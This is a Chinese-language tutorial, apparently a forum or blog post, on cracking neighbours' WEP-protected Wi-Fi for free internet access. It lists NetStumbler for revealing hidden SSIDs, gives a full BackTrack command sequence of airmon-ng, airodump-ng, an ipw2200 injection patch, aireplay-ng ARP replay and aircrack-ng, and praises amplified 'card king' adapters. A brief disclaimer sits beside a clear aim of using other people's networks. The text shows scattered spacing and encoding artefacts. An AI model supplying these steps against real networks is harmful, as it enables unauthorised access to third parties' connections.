破解無(wú)線(xiàn)路由免費上網(wǎng)
現在都想著(zhù)撈便宜蹭網(wǎng)嘛，但首先聲明，窮人沒(méi)錢(qián)上網(wǎng)可以想辦法曲折上網(wǎng)，但不能蹭別人網(wǎng)干壞事，這是道義、法律所不允許的。
破解無(wú)線(xiàn)路由的關(guān)鍵你要有無(wú)限網(wǎng)卡、周?chē)袩o(wú)線(xiàn)網(wǎng)絡(luò )
首先搜索無(wú)限網(wǎng)絡(luò )，能搜到不加密的網(wǎng)絡(luò )那最好了，那一下你就不必往下看了。如果你找到了但是加密的，請往下看，但現在要討論另一種情況，那就是找不到無(wú)線(xiàn)網(wǎng)絡(luò )。
找不到無(wú)線(xiàn)網(wǎng)絡(luò )，二個(gè)可能，一、真的沒(méi)有無(wú)線(xiàn)網(wǎng)絡(luò )，二、無(wú)線(xiàn)網(wǎng)絡(luò )被隱藏了。
要找出被隱藏的無(wú)線(xiàn)網(wǎng)絡(luò )，首先要準備好一個(gè)軟件netstumbler。為什么被隱藏了呢，因為無(wú)線(xiàn)路由器禁止了SSID廣播，所以用netstumbler這個(gè)軟件進(jìn)行搜索，如果確實(shí)有無(wú)限網(wǎng)絡(luò )的話(huà)就會(huì )被掃描出來(lái)，并標示“偽裝”，這是你接下這個(gè)無(wú)線(xiàn)的SSID名字，現在假設為WUXIAN
現在一般的筆記本都用的迅馳模塊進(jìn)行無(wú)線(xiàn)上網(wǎng)，那現在打開(kāi)管理程序intel PROSet Wireless，單擊“啟動(dòng)因特爾PROSet”然后搜索周?chē)鸁o(wú)線(xiàn)網(wǎng)絡(luò )，會(huì )發(fā)現一個(gè)隱藏的無(wú)線(xiàn)網(wǎng)絡(luò )，并顯示“SSID未廣播”
選中這個(gè)“SSID未廣播”的無(wú)線(xiàn)網(wǎng)絡(luò )，單擊“配置”，在“配置式名稱(chēng)”中隨意填一個(gè)名稱(chēng)，在“無(wú)線(xiàn)網(wǎng)絡(luò )的名稱(chēng)SSID”輸入之前找到的“WUXIAN”，然后下一步完成，如果是沒(méi)有加密的現在就可以鏈接蹭網(wǎng)了。
最主要的開(kāi)始了，首先準備一個(gè)軟件BT——BackTrack(一下都稱(chēng)為BT)，可以從官網(wǎng)上下載，一共有三個(gè)版本（光盤(pán)版、U盤(pán)版、虛擬機版），用哪一個(gè)看你自己了；一個(gè)可以被BT識別的網(wǎng)卡（卡王、卡皇、神卡）
這里介紹用光盤(pán)版BT
第一步、用光盤(pán)BT啟動(dòng)計算機，在啟動(dòng)過(guò)程中會(huì )要求輸入密碼，一般用戶(hù)名“root”密碼“toor”，如果不是你可以看看下載的地方有沒(méi)有說(shuō)明，啟動(dòng)完畢，是命令行形式的，輸入“startx”，回車(chē)，進(jìn)入圖形界面。
第二步、需要查看無(wú)線(xiàn)網(wǎng)卡是否被BT支持。在任務(wù)欄中打開(kāi)名叫“konsole”，打開(kāi)命令行窗口，輸入“ifconfig -a”，看是否無(wú)線(xiàn)網(wǎng)卡被支持。
第三步、啟動(dòng)無(wú)線(xiàn)網(wǎng)卡。在命令窗口中輸入“ifconfig eth1 up”“ifconfig rtap0 up”
激活網(wǎng)卡監聽(tīng)模式。輸入“airmon –ng start eth1”
輸入抓包命令。輸入“airodump –ng –ivs –w name –c 2 eth1”
這樣我們就能知道要破解的AP的essid、mac地址和與之相連的客戶(hù)端的MAC。
使用不是IPW2200網(wǎng)卡的，可以跳過(guò)第四步
第四步、打IPW2200注入補丁。之前的一個(gè)命令行窗口不要關(guān)閉，重新再開(kāi)一個(gè)命令行窗口，輸入“modprobe ipw2200 rtap_iface=1”“iwconfig eth1 ap <MAC>”這里的MAC是我們上一步所查到的MAC，把查到的幾個(gè)MAC輸進(jìn)去，MAC和MAC之間要用“：”鏈接，接下來(lái)在輸入“iwconfig eth1 key s:fakekey”“iwconfig eth1 mode managed”，這里的IPW2200注入補丁完了。
第五步、進(jìn)行注入。輸入“aireplay –ng -3 –b ‘ap的mac’ –h ‘客戶(hù)端網(wǎng)卡的mac’ eth1”，這里的單引號不用輸入，ap的mac就是第三步中所查到的mac，客戶(hù)端mac就是第三步所查到的與ap相連的客戶(hù)端mac
這一步可能需要一點(diǎn)時(shí)間，所以輸入完請耐性等待，可能時(shí)間會(huì )較長(cháng)，不要以為死機而關(guān)了。
第六步、進(jìn)行破解。觀(guān)看第五步中的注入，等到數據增加過(guò)萬(wàn)后，開(kāi)啟另一個(gè)命令行窗口，輸入“aircrack –ng –n 64 name -01.ivs”回車(chē)確定后，會(huì )先詢(xún)問(wèn)要破解哪個(gè)無(wú)線(xiàn)網(wǎng)絡(luò )，輸入ivs值最大的那行序號就可以了，回車(chē)就開(kāi)始破解了，等待一段時(shí)間密碼就破解顯示出來(lái)了，接下來(lái)該干嘛我不用多說(shuō)了吧……
這里小小的介紹下，卡王、卡皇、卡神，是什么個(gè)東西。
這三個(gè)東西其實(shí)都是經(jīng)過(guò)改裝的USB無(wú)限網(wǎng)卡，主要是在網(wǎng)卡中加入功率放大模塊，因為能更有效更快速的破解WAP密碼。
卡王是最早出現的改裝網(wǎng)卡，卡皇是卡王的升級版功能更強大，而卡神能完美的支持BT、支持注入攻擊，破解更迅速。
